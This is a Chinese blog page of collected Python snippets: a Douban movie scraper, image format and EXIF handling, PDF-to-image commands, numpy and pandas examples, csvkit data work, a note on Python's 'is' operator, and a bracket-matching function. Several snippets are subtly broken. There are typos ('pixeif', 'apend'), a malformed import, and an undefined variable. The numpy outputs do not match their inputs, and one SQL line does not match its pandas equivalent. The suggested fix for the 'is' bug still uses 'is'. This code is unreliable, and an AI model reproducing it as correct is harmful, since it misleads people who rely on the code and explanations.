class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">爬取豆瓣电影TOP250</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"></span><br><span class="line">url = <span class="string">'https://movie.douban.com/top250'</span></span><br><span class="line"># 使用U-A伪装成浏览器发送请求</span><br><span class="line">headers = &#123;<span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'</span>&#125;</span><br><span class="line"># 先使用requests发送网络请求从而获取网页</span><br><span class="line">r = requests.get(<span class="string">'https://movie.douban.com/top250'</span>, headers=headers)</span><br><span class="line"># 使用bs4解析获取的网页</span><br><span class="line">soup = BeautifulSoup(r.text, <span class="string">'html.parser'</span>)</span><br><span class="line"># 调用prettify()方法来使解析的HTML更加规范化</span><br><span class="line">print(soup.prettify())</span><br><span class="line">movie_list = soup.find('ol', attrs=&#123;'class': 'grid_view'&#125;) #电影列表</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> movie <span class="keyword">in</span> movie_list.find_all(<span class="string">'li'</span>):</span><br><span class="line">    movie_name = movie.find(<span class="string">'span'</span>, attrs=&#123;<span class="string">'class'</span>: <span class="string">'title'</span>&#125;)</span><br><span class="line">    print(movie_name.get_text())</span><br><span class="line">    </span><br><span class="line">肖申克的救赎</span><br><span class="line">霸王别姬</span><br><span class="line">这个杀手不太冷</span><br><span class="line">阿甘正传</span><br><span class="line">美丽人生</span><br><span class="line"><span class="keyword">import</span> codecs</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"></span><br><span class="line">DOWNLOAD_URL = <span class="string">'https://movie.douban.com/top250'</span></span><br><span class="line"></span><br><span class="line">def download_page(url):</span><br><span class="line">    <span class="keyword">return</span> requests.get(url, headers=&#123;</span><br><span class="line">        <span class="string">'User-Agent'</span>:<span class="string">'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'</span></span><br><span class="line">    &#125;).content</span><br><span class="line"></span><br><span class="line">def parse_html(html):</span><br><span class="line">    soup = BeautifulSoup(html, <span class="string">'html.parser'</span>)</span><br><span class="line">    # 电影列表</span><br><span class="line">    movie_list_soup = soup.find(<span class="string">'ol'</span>, attrs=&#123;<span class="string">'class'</span>: <span class="string">'grid_view'</span>&#125;)</span><br><span class="line">    movie_name_list = []</span><br><span class="line">    <span class="keyword">for</span> movie_li <span class="keyword">in</span> movie_list_soup.find_all(<span class="string">'li'</span>):</span><br><span class="line">        movie_name = movie_li.find(<span class="string">'span'</span>, attrs=&#123;<span class="string">'class'</span>: <span class="string">'title'</span>&#125;).get_text()</span><br><span class="line">        movie_info = movie_li.find(<span class="string">'div'</span>, attrs=&#123;<span class="string">'class'</span>: <span class="string">'bd'</span>&#125;).find(<span class="string">'p'</span>).get_text()</span><br><span class="line">        movie_star = movie_li.find(<span class="string">'span'</span>, attrs=&#123;<span class="string">'class'</span>: <span class="string">'rating_num'</span>&#125;).get_text()</span><br><span class="line">        movie_name_list.append(movie_name)</span><br><span class="line">        movie_name_list.append(movie_info)</span><br><span class="line">        movie_name_list.append(movie_star)</span><br><span class="line">    # 下一页链接</span><br><span class="line">    next_page = soup.find(<span class="string">'span'</span>, attrs=&#123;<span class="string">'class'</span>: <span class="string">'next'</span>&#125;).find(<span class="string">'a'</span>)</span><br><span class="line">    <span class="keyword">if</span> next_page:</span><br><span class="line">        <span class="keyword">return</span> movie_name_list,DOWNLOAD_URL + next_page[<span class="string">'href'</span>]</span><br><span class="line">    <span class="keyword">return</span> movie_name_list, None</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line">    url = DOWNLOAD_URL</span><br><span class="line">    <span class="keyword">with</span> codecs.open(<span class="string">'movies'</span>,<span class="string">'wb'</span>, encoding=<span class="string">'utf-8'</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">while</span> True:</span><br><span class="line">            html = download_page(url)</span><br><span class="line">            movies, url =parse_html(html)</span><br><span class="line">            f.write(u<span class="string">'&#123;movies&#125;\n'</span>.format(movies=<span class="string">'\n'</span>.join(movies)))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    main()</span><br><span class="line">https:<span class="comment">//www.jianshu.com/p/8a460be5a26e</span></span><br></pre></td></tr></table></figure></p>
<h3 id="把bmp和png转换成jpg"><a href="#把bmp和png转换成jpg" class="headerlink" title="把bmp和png转换成jpg"></a>把bmp和png转换成jpg</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> root, dirs, files <span class="keyword">in</span> os.walk(<span class="string">"."</span>):</span><br><span class="line">    <span class="keyword">for</span> bmpfig <span class="keyword">in</span> files:</span><br><span class="line">        <span class="keyword">if</span> not bmpfig.endswith(<span class="string">'.bmp'</span>) and not bmpfig.endswith(<span class="string">'.png'</span>):</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        bmpfig = os.path.join(root, bmpfig)</span><br><span class="line">        newfigname = bmpfig[:<span class="number">-4</span>] + <span class="string">".jpg"</span></span><br><span class="line">        print <span class="string">"converting from"</span>, bmpfig, <span class="string">"to"</span>, newfigname</span><br><span class="line">        img = Image.open(bmpfig)</span><br><span class="line">        img = img.convert('RGB')  # for png</span><br><span class="line">        img.save(newfigname, format=<span class="string">'jpeg'</span>, quality=<span class="number">95</span>)</span><br><span class="line">        img.close()</span><br><span class="line">        os.remove(bmpfig)</span><br><span class="line">https:<span class="comment">//zjyfdu.github.io/2018/08/16/python%E6%8A%8Abmp%E8%BD%AC%E6%8D%A2%E6%88%90jpg/</span></span><br></pre></td></tr></table></figure>
<h3 id="numpy"><a href="#numpy" class="headerlink" title="numpy"></a>numpy</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line">&gt;&gt;&gt; print(np.__version__)</span><br><span class="line"><span class="number">1.16</span><span class="number">.2</span></span><br><span class="line">&gt;&gt;&gt; np.array([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>])</span><br><span class="line">array([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>])</span><br><span class="line">&gt;&gt;&gt; np.arange(<span class="number">5</span>)</span><br><span class="line">array([<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>])</span><br><span class="line">&gt;&gt;&gt; np.arange(<span class="number">6</span>).reshape(<span class="number">2</span>, <span class="number">3</span>)</span><br><span class="line">array([[<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>],</span><br><span class="line">       [<span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]])</span><br><span class="line">&gt;&gt;&gt; np.random.rand(<span class="number">2</span>, <span class="number">3</span>)</span><br><span class="line">array([[<span class="number">0.50122984</span>, <span class="number">0.98824375</span>, <span class="number">0.81388012</span>],</span><br><span class="line">       [<span class="number">0.60951775</span>, <span class="number">0.02055326</span>, <span class="number">0.97622093</span>]])</span><br><span class="line">  &gt;&gt;&gt; np.random.randint(<span class="number">5</span>, size=(<span class="number">2</span>, <span class="number">3</span>))</span><br><span class="line">  array([[<span class="number">2</span>, <span class="number">0</span>, <span class="number">2</span>],</span><br><span class="line">         [<span class="number">4</span>, <span class="number">4</span>, <span class="number">4</span>]])     </span><br><span class="line">       </span><br><span class="line">  &gt;&gt;&gt; a = np.array([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>])</span><br><span class="line">  &gt;&gt;&gt; b = np.arange(<span class="number">1</span>, <span class="number">6</span>)     </span><br><span class="line">  &gt;&gt;&gt; a + b </span><br><span class="line">  array([ <span class="number">2</span>,  <span class="number">4</span>,  <span class="number">6</span>,  <span class="number">8</span>, <span class="number">10</span>])     </span><br><span class="line">   &gt;&gt;&gt; np.sin(a)</span><br><span class="line">   array([<span class="number">-0.54402111</span>,  <span class="number">0.91294525</span>, <span class="number">-0.98803162</span>,  <span class="number">0.74511316</span>, <span class="number">-0.26237485</span>])</span><br><span class="line">   </span><br><span class="line">   &gt;&gt;&gt; np.sqrt(a)</span><br><span class="line">   array([<span class="number">3.16227766</span>, <span class="number">4.47213595</span>, <span class="number">5.47722558</span>, <span class="number">6.32455532</span>, <span class="number">7.07106781</span>])</span><br><span class="line">   &gt;&gt;&gt; a ** 0.5 # 等价于np.sqrt(a)</span><br><span class="line">   array([<span class="number">3.16227766</span>, <span class="number">4.47213595</span>, <span class="number">5.47722558</span>, <span class="number">6.32455532</span>, <span class="number">7.07106781</span>])  </span><br><span class="line">   &gt;&gt;&gt; np.power(a, <span class="number">3</span>)</span><br><span class="line">   array([  <span class="number">1000</span>,   <span class="number">8000</span>,  <span class="number">27000</span>,  <span class="number">64000</span>, <span class="number">125000</span>])</span><br><span class="line">   &gt;&gt;&gt; a ** 3 # 等价于np.power(a, 3)  </span><br><span class="line">   https:<span class="comment">//learnku.com/articles/35686</span></span><br></pre></td></tr></table></figure>
<h3 id="pdf-to-image"><a href="#pdf-to-image" class="headerlink" title="pdf to image"></a>pdf to image</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//github.com/freedesktop/poppler  </span></span><br><span class="line">pdftoppm -singlefile -f <span class="number">4</span> -r <span class="number">72</span> -jpeg -jpegopt quality=<span class="number">90</span> presentation.pdf test_poppler</span><br><span class="line"></span><br><span class="line">pdftoppm  -f <span class="number">1</span> -r <span class="number">72</span> -jpeg -jpegopt quality=<span class="number">90</span> test_20191120_134947.pdf test_poppler</span><br><span class="line">转换所有 生成多个图片</span><br><span class="line"><span class="keyword">from</span> pdf2image <span class="keyword">import</span> convert_from_path</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line">    pages = convert_from_path(<span class="string">"presentation.pdf"</span>, first_page=<span class="number">2</span>,</span><br><span class="line">                              single_file=True)</span><br><span class="line">    pages[<span class="number">0</span>].save(<span class="string">"test_pdf2image.jpg"</span>, quality=<span class="number">85</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    main()</span><br><span class="line">https:<span class="comment">//jdhao.github.io/2019/11/14/convert_pdf_to_images_pdftoppm/</span></span><br><span class="line">https:<span class="comment">//imagemagick.org/script/download.php</span></span><br><span class="line">convert -density <span class="number">150</span> presentation.pdf -quality <span class="number">90</span> output-%<span class="number">3</span>d.jpg</span><br><span class="line">https:<span class="comment">//jdhao.github.io/2019/11/20/convert_pdf_to_image_imagemagick/#convert-all-pages-of-pdf-file-to-images</span></span><br></pre></td></tr></table></figure>
<h3 id="图片exif"><a href="#图片exif" class="headerlink" title="图片exif"></a>图片exif</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//www.irfanview.com/</span></span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> PIL. from PIL.ExifTags <span class="keyword">import</span> TAGS</span><br><span class="line"></span><br><span class="line">img = Image.open(<span class="string">'test.jpg'</span>)</span><br><span class="line"></span><br><span class="line">exif = img.getexif()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> k, v <span class="keyword">in</span> exif.items():</span><br><span class="line">    print(<span class="string">'&#123;&#125;: &#123;&#125;'</span>.format(TAGS[k], v))</span><br><span class="line"> <span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"> <span class="keyword">import</span> piexif</span><br><span class="line"> </span><br><span class="line"> img = Image.open(<span class="string">'test.jpg'</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"exif"</span> <span class="keyword">in</span> img.info:</span><br><span class="line">     exif_dict = piexif.load(img.info[<span class="string">'exif'</span>])</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> piexif.ImageIFD.Orientation <span class="keyword">in</span> exif_dict[<span class="string">'0th'</span>]:</span><br><span class="line">     exif_dict[<span class="string">'0th'</span>][pixeif.ImageIFD.Orientation] = <span class="number">3</span></span><br><span class="line"> </span><br><span class="line">     # quick and dirty work around to avoid type error</span><br><span class="line">     exif_dict[<span class="string">'Exif'</span>][<span class="number">41729</span>] = b<span class="string">'1'</span></span><br><span class="line"> </span><br><span class="line">     exif_bytes = piexif.dump(exif_dict)</span><br><span class="line"> </span><br><span class="line"> img.save(<span class="string">'new_img.jpg'</span>, exif=exif_bytes)   </span><br><span class="line">https:<span class="comment">//jdhao.github.io/2019/07/31/image_rotation_exif_info/</span></span><br></pre></td></tr></table></figure>
<h3 id="命令行里处理数据科学问题"><a href="#命令行里处理数据科学问题" class="headerlink" title="命令行里处理数据科学问题"></a>命令行里处理数据科学问题</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line">curl -o data_dl.csv https:<span class="comment">//archive.ics.uci.edu/ml/machine-learning-databases/blood-transfusion/transfusion.data</span></span><br><span class="line">Recency (months),Frequency (times),Monetary (c.c. blood),Time (months),<span class="string">"whether he/she donated blood in March 2007"</span></span><br><span class="line"><span class="number">2</span> ,<span class="number">50</span>,<span class="number">12500</span>,<span class="number">98</span> ,<span class="number">1</span></span><br><span class="line"><span class="number">0</span> ,<span class="number">13</span>,<span class="number">3250</span>,<span class="number">28</span> ,<span class="number">1</span></span><br><span class="line"><span class="number">1</span> ,<span class="number">16</span>,<span class="number">4000</span>,<span class="number">35</span> ,<span class="number">1</span></span><br><span class="line"><span class="number">2</span> ,<span class="number">20</span>,<span class="number">5000</span>,<span class="number">45</span> ,<span class="number">1</span></span><br><span class="line"><span class="number">1</span> ,<span class="number">24</span>,<span class="number">6000</span>,<span class="number">77</span> ,<span class="number">0</span></span><br><span class="line"></span><br><span class="line">pip install csvkit</span><br><span class="line">csvclean data_dl.csv</span><br><span class="line">csvcut -n data_dl_out.csv | cut -c6-</span><br><span class="line">Recency (months)</span><br><span class="line">Frequency (times)</span><br><span class="line">Monetary (c.c. blood)</span><br><span class="line">Time (months)</span><br><span class="line">whether he/she donated blood <span class="keyword">in</span> March <span class="number">2007</span></span><br><span class="line"></span><br><span class="line">csvstat --mean data_dl_out.csv</span><br><span class="line"><span class="number">1.</span> a: <span class="number">373.5</span></span><br><span class="line"><span class="number">2.</span> Recency (months): <span class="number">9.507</span></span><br><span class="line"><span class="number">3.</span> Frequency (times): <span class="number">5.515</span></span><br><span class="line"><span class="number">4.</span> Monetary (c.c. blood): <span class="number">1</span>,<span class="number">378.676</span></span><br><span class="line"><span class="number">5.</span> Time (months): <span class="number">34.282</span></span><br><span class="line"><span class="number">6.</span> whether he/she donated blood <span class="keyword">in</span> March <span class="number">2007</span>: None</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line">data = pd.read_csv(<span class="string">'data_dl_out.csv'</span>)</span><br><span class="line">data.head()</span><br><span class="line"></span><br><span class="line">data = data.rename(columns=&#123;<span class="string">'Recency (months)'</span>: <span class="string">'recency'</span>,</span><br><span class="line">             <span class="string">'Frequency (times)'</span>: <span class="string">'frequency'</span>,</span><br><span class="line">             <span class="string">'Monetary (c.c. blood)'</span>: <span class="string">'volumne'</span>,</span><br><span class="line">             <span class="string">'Time (months)'</span>: <span class="string">'time'</span>,</span><br><span class="line">             <span class="string">'whether he/she donated blood in March 2007'</span>: <span class="string">'target'</span>&#125;)</span><br><span class="line">data.to_csv(<span class="string">'data_clean.csv'</span>)</span><br><span class="line"></span><br><span class="line">	recency	frequency	volumne	time	target</span><br><span class="line"><span class="number">0</span>	<span class="number">2</span>	<span class="number">50</span>	<span class="number">12500</span>	<span class="number">98</span>	<span class="number">1</span></span><br><span class="line"><span class="number">1</span>	<span class="number">0</span>	<span class="number">13</span>	<span class="number">3250</span>	<span class="number">28</span>	<span class="number">1</span></span><br><span class="line"><span class="number">2</span>	<span class="number">1</span>	<span class="number">16</span>	<span class="number">4000</span>	<span class="number">35</span>	<span class="number">1</span></span><br><span class="line"><span class="number">3</span>	<span class="number">2</span>	<span class="number">20</span>	<span class="number">5000</span>	<span class="number">45</span>	<span class="number">1</span></span><br><span class="line"></span><br><span class="line">csvsql --query  <span class="string">"select frequency, count(*) as rows from data_clean where target = 1 group by frequency order by 2 desc"</span> data_clean.csv</span><br><span class="line">d:\python\lib\site-packages\win32\lib\pywintypes.py:<span class="number">2</span>: DeprecationWarning: the imp <span class="built_in">module</span> is deprecated <span class="keyword">in</span> favour <span class="keyword">of</span> importlib; see the <span class="built_in">module</span><span class="string">'s documentation for alternative uses</span></span><br><span class="line"><span class="string">d:\python\lib\site-packages\agate\utils.py:276: UnnamedColumnWarning: Column 0 has no name. Using "a".</span></span><br><span class="line"><span class="string">frequency,rows</span></span><br><span class="line"><span class="string">1.0,20</span></span><br><span class="line"><span class="string">5.0,20</span></span><br><span class="line"><span class="string">2.0,19</span></span><br><span class="line"><span class="string">6.0,17</span></span><br><span class="line"><span class="string">https://oicebot.github.io/2019/07/25/five-command-line-tools-for-data-science.html</span></span><br></pre></td></tr></table></figure>
<h3 id="Pandas-做数据分析sql"><a href="#Pandas-做数据分析sql" class="headerlink" title="Pandas 做数据分析sql"></a>Pandas 做数据分析sql</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line">url = (<span class="string">'https://raw.github.com/pandas-dev/pandas/master/pandas/tests/data/tips.csv'</span>)</span><br><span class="line">tips = pd.read_csv(url)</span><br><span class="line">output = tips.head()</span><br><span class="line">sql 语句： SELECT total_bill, tip, smoker, time FROM tips LIMIT <span class="number">5</span>;。</span><br><span class="line"></span><br><span class="line">output = tips[[<span class="string">'total_bill'</span>, <span class="string">'tip'</span>, <span class="string">'smoker'</span>, <span class="string">'time'</span>]].head(<span class="number">5</span>)</span><br><span class="line">   total_bill   tip smoker    time</span><br><span class="line"><span class="number">0</span>       <span class="number">16.99</span>  <span class="number">1.01</span>     No  Dinner</span><br><span class="line"><span class="number">1</span>       <span class="number">10.34</span>  <span class="number">1.66</span>     No  Dinner</span><br><span class="line"><span class="number">2</span>       <span class="number">21.01</span>  <span class="number">3.50</span>     No  Dinner</span><br><span class="line"><span class="number">3</span>       <span class="number">23.68</span>  <span class="number">3.31</span>     No  Dinner</span><br><span class="line"><span class="number">4</span>       <span class="number">24.59</span>  <span class="number">3.61</span>     No  Dinner</span><br><span class="line">sql 语句： SELECT * FROM tips WHERE time = <span class="string">'Dinner'</span> LIMIT <span class="number">5</span>;</span><br><span class="line"></span><br><span class="line">output = tips[tips[<span class="string">'time'</span>] == <span class="string">'Dinner'</span>].head(<span class="number">5</span>)</span><br><span class="line"># 或者</span><br><span class="line">output = tips.query(<span class="string">"time == 'Dinner'"</span>).head(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line">sql 语句：SELECT * FROM tips WHERE time = <span class="string">'Dinner'</span>;。</span><br><span class="line"></span><br><span class="line">output = tips[(tips[<span class="string">'time'</span>] == <span class="string">'Dinner'</span>)]</span><br><span class="line">sql 语句：SELECT * FROM tips WHERE time = <span class="string">'Dinner'</span> AND tip &gt; <span class="number">5.00</span>;</span><br><span class="line"></span><br><span class="line">output = tips[(tips[<span class="string">'time'</span>] == <span class="string">'Dinner'</span>) &amp; (tips[<span class="string">'tip'</span>] &gt; <span class="number">5.00</span>)]</span><br><span class="line">sql 语句：SELECT * FROM tips WHERE size &gt;= <span class="number">5</span> OR total_bill &gt; <span class="number">45</span>;。</span><br><span class="line"></span><br><span class="line">output = tips[(tips[<span class="string">'size'</span>] &gt;= <span class="number">5</span>) | (tips[<span class="string">'total_bill'</span>] &gt; <span class="number">45</span>)]</span><br><span class="line">sql 语句：SELECT * FROM tips WHERE siez <span class="keyword">in</span> (<span class="number">5</span>, <span class="number">6</span>);。</span><br><span class="line"></span><br><span class="line">output = tips[tips[<span class="string">'size'</span>].isin([<span class="number">2</span>, <span class="number">5</span>])]</span><br><span class="line">sql 语句：SELECT sex, count(*) FROM tips GROUP BY sex;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/29825#replies</span></span><br><span class="line">output = tips.groupby(<span class="string">'sex'</span>).size()</span><br><span class="line">转数组</span><br><span class="line">&gt;&gt;&gt; tips.total_bill.head().tolist()</span><br><span class="line">[<span class="number">16.99</span>, <span class="number">10.34</span>, <span class="number">21.01</span>, <span class="number">23.68</span>, <span class="number">24.59</span>]</span><br><span class="line">&gt;&gt;&gt; tips.columns.tolist()</span><br><span class="line">[<span class="string">'total_bill'</span>, <span class="string">'tip'</span>, <span class="string">'sex'</span>, <span class="string">'smoker'</span>, <span class="string">'day'</span>, <span class="string">'time'</span>, <span class="string">'size'</span>]</span><br></pre></td></tr></table></figure>
<h3 id="在-Python-里用-is-进行比较"><a href="#在-Python-里用-is-进行比较" class="headerlink" title="在 Python 里用 is 进行比较"></a>在 Python 里用 is 进行比较</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> appointment.time_slot_id is time_slot.id:</span><br><span class="line">    time_slot_appointments.append(appointment)</span><br><span class="line">出问题的地方就是这个 is 啦。但最诡异的是，当 time_slot_id 和 time_slot.id 都是小于等于 <span class="number">256</span> 的整型数字时，这段代码一点问题都没有；只有当预约数量达到一定程度，使得 time_slot_id 或 time_slot.id 大于 <span class="number">256</span> 时，问题就出现了——这个表达式永远返回 False</span><br><span class="line"></span><br><span class="line">使用 is 关键字进行的比较是“引用比较”。这里的“引用”就相当于一个索引号，一个地址，或是指向一个对象的指针。用 is 进行比较正是造成这个奇怪 bug 的根源。</span><br><span class="line">使用 == 操作符进行的比较是“值比较”，也就是比较两个对象的“值”。</span><br><span class="line">在 Python 中，数值型的整型数据是以 PyObject 对象的一个子类型： PyLong 对象的形式存储的。为了减少内存管理在处理小整型数字时候的开销，在 CPython 解释器中使用了“小整数对象池”进行优化。也就是说，值为 <span class="number">-5</span> 到 <span class="number">256</span> 的 PyLong 对象已经预置在 CPython 解释器的私有堆中，可以通过 small_ints 这个数组进行访问。</span><br><span class="line">要想修复这个 bug，其中一种方式是，把：</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> appointment.time_slot_id is time_slot.id:</span><br><span class="line">改成：</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> appointment.time_slot.id is time_slot.id:</span><br><span class="line">只有当你十分确定要比较的是两个对象本身的时候，才用 is 进行比较。https:<span class="comment">//oicebot.github.io/2019/07/11/the-dangers-of-using-is-in-python.html</span></span><br></pre></td></tr></table></figure>
<h3 id="判断括号字符串"><a href="#判断括号字符串" class="headerlink" title="判断括号字符串"></a>判断括号字符串</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">def isValid(self, s):</span><br><span class="line">    stack = []</span><br><span class="line">    paren_map = &#123;<span class="string">')'</span>:<span class="string">'('</span>, <span class="string">']'</span>:<span class="string">'['</span>, <span class="string">'&#125;'</span>:<span class="string">'&#123;'</span>&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> s:</span><br><span class="line">        <span class="keyword">if</span> c not <span class="keyword">in</span> paren_map:</span><br><span class="line">            stack.apend(c)</span><br><span class="line">        elif not stack or paren[c] != stack.pop():</span><br><span class="line">            <span class="keyword">return</span> False</span><br><span class="line">    <span class="keyword">return</span> not stack</span><br></pre></td></tr></table></figure>
